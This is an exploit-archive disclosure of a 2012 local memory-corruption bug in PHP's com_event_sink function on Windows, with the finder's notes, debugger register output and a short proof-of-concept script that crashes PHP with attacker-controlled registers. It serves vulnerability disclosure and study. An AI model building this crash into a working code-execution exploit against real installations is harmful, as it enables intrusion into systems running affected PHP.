PHP <= 5.4.3 (com_event_sink) Code Execution Proof of Concept

2012.05.22
Credit: condis
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

<?php /* PHP <= 5.4.3 (com_event_sink) Code Execution Proof of Concept Found by condis Website: http://cond.psychodela.pl Tested on: PHP 5.3.8 + Windows XP SP3 Professional PL PHP 5.3.10 + Windows XP SP3 Professional PL PHP 5.4.0 + Windows XP SP3 Professional PL PHP 5.4.3 + Windows XP SP3 Professional PL Description: This is a very strange bug and I had a really hard time trying to classify it, but lets start from the beginning. As we can read in PHP manual : com_event_sink function connects events from COM object to a PHP object. First argument should be a COM object. But when I set it up to new Variant(), PHP instance crashed. After few minutes of research it was clear to me that we can control EAX register by defining first parameter of our Variant object. The proof of concept code located below should produce situation similar to this : eax=024e0050 ebx=010328f0 ecx=41414141 edx=00c0facc esi=0121ff68 edi=00000000 eip=100f33d5 esp=00c0faa8 ebp=00000000 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 100f33d4 50 push eax 100f33d5 8b01 mov eax,dword ptr [ecx] ds:0023:41414141=???????? 100f33d7 ffd0 call eax IMHO it is possible to write a reliable exploit using i.e.: ROP method but due to lack of free time and skill I leave this task to someone else. Also 0in tried to write stable exploit for same bug in com_print_typeinfo() function but as far as I know it isn't stable enough :( Greetz: cxib, 0in, and others ;> */ $EAX = 0x024E0050; // stack starts at 0x024E0050 (in my case) $stack = str_repeat("x41", 0x1000000); // putting some garbage on the stack so the ECX would be 41414141 class foo { } com_event_sink(new Variant($EAX), new foo(), array()); ?>

References:

http://cond.psychodela.pl
http://php.net/


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